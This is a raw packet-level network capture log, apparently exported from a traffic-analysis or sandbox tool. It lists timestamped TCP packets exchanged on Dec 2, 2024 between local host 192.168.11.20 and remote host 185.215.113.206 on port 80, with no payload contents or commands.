Dec 2, 2024 11:20:39.825215101 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825217962 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825261116 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825321913 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825370073 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825373888 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825489044 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825555086 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825717926 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825764894 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825809002 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825851917 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825855017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825895071 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.825932026 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825932026 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825963974 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.825975895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826062918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826112986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826155901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826189995 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826248884 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826250076 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826515913 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826574087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826618910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826662064 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826688051 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826688051 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826705933 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826759100 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826838017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826885939 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.826915979 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.826962948 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827106953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.827162027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827208042 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827250957 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827292919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827327013 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.827327967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.827378988 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827423096 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827440977 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.827505112 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827581882 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.827614069 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827661991 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.827809095 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.827872038 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827918053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.827960968 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828002930 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828094959 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828125000 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828193903 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828247070 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828353882 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828372002 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828486919 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828497887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828572989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828622103 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828665972 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828666925 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828779936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828845024 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.828913927 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.828962088 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829005003 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829046965 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829066992 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829132080 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829211950 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829287052 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829438925 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829495907 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829540014 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829581976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829622984 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829626083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829651117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829651117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829668999 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:39.829699039 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829794884 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:39.829859018 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.139194965 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.139358997 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.139436007 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.139591932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.139594078 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.139738083 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.139897108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.139955044 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.140045881 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.140098095 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.140100002 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.140317917 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.140938044 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.141088009 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.141132116 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.141180992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.141271114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.141271114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.141350985 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.141501904 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.141664982 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.141721964 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.141936064 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.141953945 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.141999960 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142090082 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142134905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142178059 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142230034 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.142281055 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.142335892 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.142395973 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142452002 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142498016 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142606020 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.142668009 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142672062 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.142714977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142824888 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142833948 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.142833948 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.142870903 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142915964 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.142987967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143026114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143059969 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143167973 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143208027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143253088 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143335104 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143335104 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143486977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143544912 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143656015 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143657923 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143701077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143743992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143763065 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143763065 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143858910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.143860102 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143908978 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.143908978 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144021988 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144069910 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144123077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144206047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144249916 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144268990 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144292116 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144347906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144347906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144372940 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144450903 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144484043 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144530058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144619942 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144673109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144790888 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144814968 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144923925 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.144965887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.144968033 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145164967 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145169973 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145210981 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145253897 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145363092 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145363092 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145378113 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145452976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145493984 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145545006 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145656109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145703077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145703077 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145746946 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145850897 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145850897 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145879030 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.145895958 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.145925999 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146171093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.146178961 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146224022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146266937 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146364927 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.146373987 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146419048 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146429062 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.146584988 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.146688938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146734953 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146776915 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.146899939 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.146946907 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.146972895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147031069 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147141933 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147141933 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147188902 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147232056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147245884 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147315979 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147428989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147438049 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147485971 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147528887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147609949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147624016 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147679090 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147687912 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147761106 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147798061 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147842884 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147870064 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.147912979 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.147914886 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148027897 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148027897 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148169041 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148216963 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148325920 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148325920 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148495913 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148554087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148598909 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148643017 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148684025 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148685932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148775101 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148823977 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148823977 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.148886919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148931980 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.148977995 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149022102 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149023056 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149023056 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149123907 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149132967 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149219036 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149244070 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149301052 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149354935 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149447918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149614096 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149626017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149671078 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149724007 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149768114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149776936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149826050 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149879932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.149885893 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149885893 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.149926901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150031090 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150094032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150154114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150202036 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150283098 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150356054 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150403976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150430918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150450945 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150593042 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150593042 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150645018 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150691986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150736094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150794983 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150847912 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150895119 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.150924921 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.150970936 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151112080 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151173115 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151218891 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151262045 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151304960 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151305914 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151305914 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151391029 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151407003 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151454926 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151520967 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151536942 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151603937 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151648045 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151679039 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151720047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.151783943 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.151890039 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.286396027 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.608824015 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.608874083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.608911991 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609061003 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609112024 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609186888 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609239101 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609277010 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609378099 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609383106 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609451056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609477997 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609575033 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609577894 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609616995 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609692097 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609730005 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609730959 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.609824896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609870911 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.609909058 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610002995 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610043049 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.610080957 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.610100985 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610138893 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610187054 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.610304117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.610347033 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610385895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610421896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610522032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.610635042 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:40.610665083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610713005 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:40.610807896 CET	80	49748	185.215.113.206	192.168.11.20
